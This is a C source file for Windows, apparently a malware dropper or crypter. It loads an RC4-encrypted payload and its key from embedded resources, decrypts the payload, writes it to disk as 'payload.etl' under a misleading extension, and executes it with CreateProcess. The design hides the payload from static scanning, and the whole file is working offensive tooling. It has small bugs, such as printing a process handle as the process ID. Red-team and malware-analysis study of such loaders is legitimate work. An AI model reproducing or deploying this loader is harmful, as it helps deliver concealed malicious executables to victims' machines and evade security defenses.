#include <stdio.h>
#include <Windows.h>

#include "exec.h"
#include "helper.h"
#include "rc4.h"

#define RES_ID_PAYLOAD 42
#define RES_ID_KEY 43

BOOL FindPayload(LPVOID *lpResource, PSIZE_T nSize, DWORD dwResourceId) {
	PRINT_INFO("Locating resource.\n");
	HRSRC hRsrc = FindResource(
		NULL,
		MAKEINTRESOURCE(dwResourceId),
		RT_RCDATA
	);
	if (!hRsrc) {
		PRINT_ERROR(
			"Failed to locate resource: <0x%08x>\n",
			GetLastError()
		);
		return FALSE;
	}

	PRINT_INFO("Loading resource.\n");
	HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
	if (!hGlobal) {
		PRINT_ERROR("Failed to load resource: <0x%08x>\n", GetLastError());
		return FALSE;
	}

	PRINT_INFO("Acquiring resource.\n");
	*lpResource = LockResource(hGlobal);
	if (!*lpResource) {
		PRINT_ERROR(
			"Failed to acquire resource: <0x%08x>\n",
			GetLastError()
		);
		return FALSE;
	}

	if (nSize) {
		*nSize = SizeofResource(NULL, hRsrc);
	}

	PRINT_SUCCESS("Successfully obtained resource.\n");

	return TRUE;
}

void DecryptPayload(LPVOID lpPayload, SIZE_T nPayloadLength, LPBYTE lpKey, SIZE_T nKeyLength) {
	struct rc4_state s;
	rc4_setup(&s, lpKey, nKeyLength);

	rc4_crypt(&s, lpPayload, nPayloadLength);
}

BOOL Run(LPVOID lpPayload, SIZE_T nPayloadSize) {
	PRINT_INFO("Dropping payload to current directory.\n");
	// Drop the payload to current directory.
	HANDLE hFile = CreateFile(
		"payload.etl",
		GENERIC_WRITE,
		0,
		NULL,
		CREATE_ALWAYS,
		FILE_ATTRIBUTE_NORMAL,
		NULL
	);

	if (hFile == INVALID_HANDLE_VALUE) {
		PRINT_ERROR(
			"Failed to drop payload: <0x%08x>\n",
			GetLastError()
		);
		return FALSE;
	}

	DWORD dwWritten = 0;
	BOOL bRet = WriteFile(
		hFile,
		lpPayload,
		nPayloadSize,
		&dwWritten,
		NULL
	);

	if (!bRet) {
		PRINT_ERROR(
			"Failed to write payload: <0x%08x>\n",
			GetLastError()
		);
		return FALSE;
	}
	PRINT_SUCCESS(
		"Wrote %d (0x%08x) bytes.\n",
		dwWritten,
		dwWritten
	);

	CloseHandle(hFile);

	PRINT_INFO("Executing payload.\n");
	PROCESS_INFORMATION pi;
	ZeroMemory(&pi, sizeof(pi));

	STARTUPINFO si;
	ZeroMemory(&si, sizeof(si));

	bRet = CreateProcess(
		"payload.etl",
		NULL,
		NULL,
		NULL,
		FALSE,
		0,
		NULL,
		NULL,
		&si,
		&pi
	);

	if (!bRet) {
		PRINT_ERROR(
			"Failed to execute payload: <0x%08x>\n",
			GetLastError()
		);

		return FALSE;
	}

	PRINT_SUCCESS(
		"Successfully executed payload.\n"
	);

	PRINT_SUCCESS(
		"Process ID: %d (0x%08x)\n",
		pi.hProcess,
		pi.hProcess
	);

	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);

	return TRUE;
}

BOOL Execute(void) {
	PRINT_INFO("Retrieving payload resource.\n");
	LPVOID lpPayload = NULL;
	SIZE_T nPayloadSize = 0;
	if (!FindPayload(&lpPayload, &nPayloadSize, RES_ID_PAYLOAD)) {
		return FALSE;
	}

	PRINT_INFO("Allocating payload buffer for decryption.\n");
	LPVOID lpDecryptPayload = MyHeapAlloc(nPayloadSize);
	if (!lpDecryptPayload) {
		PRINT_ERROR(
			"Failed to allocate buffer: <0x%08x>\n",
			GetLastError()
		);
		return FALSE;
	}
	memcpy(lpDecryptPayload, lpPayload, nPayloadSize);

	PRINT_INFO("Retrieving key resource.\n");
	LPBYTE lpKey = NULL;
	SIZE_T nKeySize = 0;
	if (!FindPayload(&lpKey, &nKeySize, RES_ID_KEY)) {
		return FALSE;
	}

	PRINT_INFO("Extracted key:\n");
	for (SIZE_T i = 0; i < nKeySize;) {
		for (int j = 0; j < 16; j++) {
			if (j == 8) {
				PrintColour(CONSOLE_PURPLE, "  ");
			}
			PrintColour(CONSOLE_PURPLE, "%02x ", lpKey[i + j]);
		}
		puts("");
		i += 16;
	}

	PRINT_INFO("Decrypting payload.\n");
	DecryptPayload(lpDecryptPayload, nPayloadSize, lpKey, nKeySize);

	BOOL bRet = Run(lpDecryptPayload, nPayloadSize);

	// Deallocate decrypted payload.
	MyHeapFree(lpDecryptPayload);

	return bRet;
}